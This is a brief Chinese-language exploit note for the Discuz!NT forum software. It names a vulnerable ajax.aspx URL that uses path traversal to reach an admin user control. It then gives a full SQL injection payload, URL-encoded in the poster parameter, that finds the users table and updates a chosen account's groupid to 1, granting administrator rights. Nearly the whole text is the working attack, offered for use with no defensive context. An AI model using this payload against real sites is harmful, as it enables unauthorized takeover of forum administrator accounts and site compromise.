注入地址：

http://nt.discuz.net/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1

利用：

http://nt.discuz.net/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1%27%29;declare%20@t%20nvarchar%2840%29%20select%20@t=%28select%20top%201%20name%20from%20sysobjects%20where%20name%20like%27%_users%27%20and%20xtype=%27U%27%29%20exec%28%27update%20%27%2b@t%2b%27%20set%20groupid=1%20where%20username=%27%27xxxxx%27%27%27%29--

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